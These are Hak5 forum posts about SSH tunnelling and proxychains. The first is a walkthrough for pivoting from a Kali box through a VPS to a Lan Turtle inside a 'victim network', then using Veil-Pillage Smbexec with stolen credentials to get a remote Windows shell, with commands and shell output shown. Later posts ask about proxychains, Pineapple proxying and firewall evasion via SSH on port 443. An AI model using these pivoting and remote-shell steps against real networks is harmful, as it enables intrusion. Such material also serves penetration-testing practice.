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Hi all! Just wanted to share something that might help other Lan Turtlers out there. One of the things I wanted to do with my lan turtle was to pivot my tools from my local box through the turtle. One such way is to use proxychains to proxy your local tools through your VPS in the cloud, and out through your turtle. My setup: [Local Kali box] --> (Router) --> [VPS] --> [turtle, which is inside victim network] I ran into trouble trying to figure out how to setup an SSH proxychain to it...found this article which worked right away: https://superuser.com/questions/332850/ssh-as-socks-proxy-through-multiple-hosts I used the first line, which was this command: ssh -f -N -D $PORT -oProxyCommand="ssh -W %h:%p machine-b" machine-c Here, machine-b would be the username@ip_of_VPS_in_cloud and machine-c would be the turtle, which should be root@localhost -p 2222 By replacing the "$PORT" with whatever you want (I used 9050, the default in the proxychains.conf), it would work flawlessly. Basically, what we are doing here is creating a Socks Proxy through SSH that goes through our VPS in the cloud, and then logs into the turtle (which already connects back to that VPS, through AutoSSH). With this tunnel, all you need to do is open up your proxychains.conf (/etc/proxychains.conf) and edit the last line to reflect the port you used. After that, you are all set! In Kali, just prepend "proxychains" before the tool you want to use.....for example! I wanted to be able to use Veil-Pillage from my local Kali box to get a SMBExec shell (because I already had credentials). So, by setting up the tunnel above, I ran root@kali#proxychains ./Veil-Pillage Which would take me to dialogue screen, I chose number 25, set my target (which was 10.13.37.27, a win7 VM) and my creds, and just hit ran! Veil-Pillage: post-explotation framework | [Version]: 1.1.2 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= [*] Executing module: Smbexec Shell... [*] Type 'exit' to exit the shell Trying protocol 445/SMB... Creating service SystemDiag... |S-chain|-<>-***.***.***.***-<><>-10.13.37.27:445-<><>-OK [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32> And there you have it!! I thought this should be useful for everyone out there. Another way of doing it is to use your metasploit/armitage instance in the VPS, use the meterpreter module, setup the Socks4 proxy, and then setup proxychains to reflect your VPS instance. Don't forget to add route! Let me know your thoughts! TL;DR: SSH socks proxy -- root@kali#ssh -f -N -D $PORT -oProxyCommand="ssh -W %h:%p VPS-in-cloud" turtle-in-VPS then change proxychains.conf, then "proxychains tool"
Good day to everyone As the subject states, I have a general question regarding proxychains. I've watched the hak5 episode on it (ep 11.19) but I'm curious as to how you guys (fellow white/grey hats) get access to the various ssh servers that you're then chaining together. Do any of you use any so-called "Free Shells"? I've checked out a couple of the free shell providers, but they mostly seem to be crap (fill out these polls, sign up for these 15 credit cards, give us your email to spam, etc). My goal for this is mostly just to play with/test proxychains, i.e. how usable is it, get comfortable with the configuration, etc. Anyone have any insight into how I can experiment with globetrotting ssh tunnels? Thanks! telot
I'm running my mk4 (firmware 2.8.0) with my laptop (Ubuntu 12.04), with the laptop on wifi to get internet to the pineapple (pretty standard). I'm running sslstrip and tcpdump on the laptop, rather than the pineapple. I've gotten ssh tunneling to work on the laptop, so I can use a friend's router as a socks proxy for web browsing, but I can't figure out how to make the pineapple's traffic use that proxy as well. To set up the proxy, I just do "ssh <ip address> -p 443 -D 8080", then use the network settings in Ubuntu to set the SOCKS proxy to 127.0.0.1:8080. Is there any way to make the pineapple use the proxy too? Thanks
Hi All, Scenario/Background: I'm on a boat. We use VSAT + two year old Cisco router. Router has been locked down. The only ports open are 80 (http), 443 (https), 25 (mail), 3389 (RDP). When travelling I used to be able to use OpenVPN (udp), PPTP VPN (tcp), or a socksified (-D) SSH connection to tunnel my traffic. That's no longer the case. I borked my VPS server trying to get around the above stated issue. It's left me in a bit of a pickle. I can use TOR to get to my VPS's CPANEL (control panel). I have to use a service like TOR, because the CPANEL is on a non-standard web port (5454). I can't reinstall the server though. To do that I need to VNC to the VPS. I use 'Chicken of the VNC' which doesn't support proxying, like a web browser. I've looked at a few options, like NoVNC, etc which are browser based HTML5 implementations of a VNC client but they rely on a companion server which my VPS is not running. Any ideas? (1A) Help! *I'm asking a friend to remotely reconfigure my server, and to run SSH on port 443 so I'll have SSH access and web proxying ability, but it has led me to even more questions. I hope that the firewall doesn't filter to the Layer 7 networking stack, otherwise I might need a better solution. What are some ways to accomplish this? (2A) Below is what I've found so far. Please help me add to the list of possibilites. Is there a software solution (Mac OS X or Ubuntu) that allows a user to specify which application uses the socksified SSH connection (ex ssh -D 8080 email@example.com) on the local machine? (3A) It woud be ideal if an application could force traffic over the SSH connection. Example, tell 'Chicken of the VNC', Adium, etc to route through SSH without having to set a proxy in their individual preferences (most don't even have the option/ability). Future Solutions 1B. #Ubuntu wiki says this might be a problem on some VPS's - https://help.ubuntu....y/IptablesHowTo #execute on remote server iptables -t nat -I PREROUTING -p tcp -m conntrack --ctstate NEW -s x.x.x.x -d y.y.y.y --dport 443 -j REDIRECT --to-port 22 or #execute on remote server iptables -t nat -I PREROUTING --src x.x.x.x --dst y.y.y.y -p tcp --dport 443 -j REDIRECT --to-ports 22 sudo iptables -t nat -L -n -v #execute on local machine in Terminal ssh -p 443 -D 8080 firstname.lastname@example.org 2B. http://www.thoughtcr...tware/firemole/ 3B. http://dag.wieers.co...http-tunneling/ *anyone know of a more current way to do this? (4A) software doesn't look like it's been updated since 2009 4B. sudo nano /etc/ssh/sshd_config change the line "Port 22" to "Port 443" to save --> hit ctrl+o, then ctrl+x sudo restart ssh *how does encrypted web traffic (https 443) still work if SSH is now using port 443 on the VPS? (5A)